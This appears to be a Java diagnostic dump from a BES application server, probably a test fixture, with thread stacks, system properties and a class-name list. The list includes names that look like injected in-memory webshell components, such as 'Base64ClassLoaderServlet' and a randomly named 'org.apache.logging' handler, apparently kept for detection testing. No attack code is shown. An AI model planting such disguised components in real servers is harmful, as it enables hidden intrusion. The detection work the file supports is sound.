at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI RenewClean-[172.17.0.4:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@1f2fd2b
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"File-watcher-0" #62 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Notification Thread" #15 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2fca3749
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
|
||||
|
||||
"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"HSQLDB Timer @560df6c4" #90 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@474b65e0
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source)
|
||||
at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source)
|
||||
at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI TCP Connection(2)-172.17.0.4" #99 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
|
||||
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-0.0.0.0-1900-Acceptor" #82 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
|
||||
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RetryTimer" #61 daemon [WAITING] on java.util.TaskQueue@20543971
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:537)
|
||||
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"SelectorReaderThread-8080-1" #83 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-0.0.0.0-8080-Acceptor" #84 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
|
||||
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"jmsra-WorkerThread-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI GC Daemon" #95 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@365983f5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/sun.rmi.transport.GC$Daemon.run(GC.java:127)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||
|
||||
"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@48578a08
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:472)
|
||||
at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||
at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||
at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
com.bes.enterprise.appserver.startup.Bootstrap
|
||||
com.bes.enterprise.appserver.startup.CommonClassLoader$1
|
||||
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||
com.bes.enterprise.base.disruptor.util.Util
|
||||
com.bes.enterprise.common.file.watcher.FileAlterationMonitor
|
||||
com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator
|
||||
com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque
|
||||
com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor
|
||||
com.bes.enterprise.server.builder.BesWebModule
|
||||
com.bes.enterprise.startup.ASMain
|
||||
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||
com.bes.enterprise.web.util.net.Acceptor
|
||||
com.bes.enterprise.web.util.net.NioEndpoint
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
|
||||
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
|
||||
com.bes.enterprise.web.util.threads.WorkQueue
|
||||
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||
com.bes.enterprise.web.websocket.server.WsFilter
|
||||
com.bes.enterprise.webext.BESAppservValve
|
||||
com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve
|
||||
com.bes.enterprise.webext.BesContextCleanupValve
|
||||
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||
org.apache.logging.UKnKC.ErrorQvlgaHandler
|
||||
org.hsqldb.lib.HsqlTimer
|
||||
org.hsqldb.lib.HsqlTimer$TaskQueue
|
||||
org.hsqldb.lib.HsqlTimer$TaskRunner
|
||||
@@ -1,4 +1,4 @@
|
||||
# Generated At 2025-08-10 14:56:17
|
||||
# Generated At 2026-05-24 05:04:29
|
||||
SystemProps:
|
||||
bes.loader: bes-system
|
||||
java.vendor: Oracle Corporation
|
||||
@@ -20,11 +20,11 @@ user.name: root
|
||||
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||
shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar"
|
||||
tomcat.util.buf.StringCache.byte.enabled: true
|
||||
com.bes.hostName: 21437a35c6d3
|
||||
com.bes.hostName: b6fa2ed19f7c
|
||||
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
||||
user.language: en
|
||||
derby.system.home: /opt/bes/conf
|
||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
|
||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||
com.bes.enterprise.log.outAndErrNotRedirect: true
|
||||
java.version: 1.8.0_342
|
||||
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||
@@ -47,7 +47,7 @@ java.home: /usr/local/openjdk-8/jre
|
||||
java.vm.info: mixed mode
|
||||
com.bes.instanceName: server
|
||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
|
||||
os.version: 6.8.0-111-generic
|
||||
path.separator: :
|
||||
java.vm.version: 25.342-b07
|
||||
com.bes.verboseMode: true
|
||||
@@ -63,7 +63,7 @@ java.naming.factory.url.pkgs: org.apache.naming:com.bes.enterprise.ejb.core.ivm.
|
||||
user.home: /root
|
||||
java.specification.vendor: Oracle Corporation
|
||||
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic
|
||||
java.library.path: /opt/bes/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
|
||||
java.library.path: /opt/bes/lib:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
|
||||
java.vendor.url: http://java.oracle.com/
|
||||
com.bes.enterprise.deployments.classpath: false
|
||||
java.vm.vendor: Oracle Corporation
|
||||
@@ -82,7 +82,7 @@ java.awt.headless: true
|
||||
java.io.tmpdir: /tmp
|
||||
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||
server.loader:
|
||||
os.arch: aarch64
|
||||
os.arch: amd64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory
|
||||
bes.version: 9.5.1
|
||||
@@ -105,132 +105,7 @@ javax.net.ssl.keyStorePassword: changeit
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"http-nio-0.0.0.0-6900-AsyncTimeout" #69 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI RenewClean-[192.168.215.4:6600]" #84 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@74891c03
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #87 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Accept-6600" #79 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@70b6864a
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||
|
||||
"http-nio-0.0.0.0-6900-ClientPoller-0" #67 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RetryTimer" #51 daemon [WAITING] on java.util.TaskQueue@35b41638
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #75 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
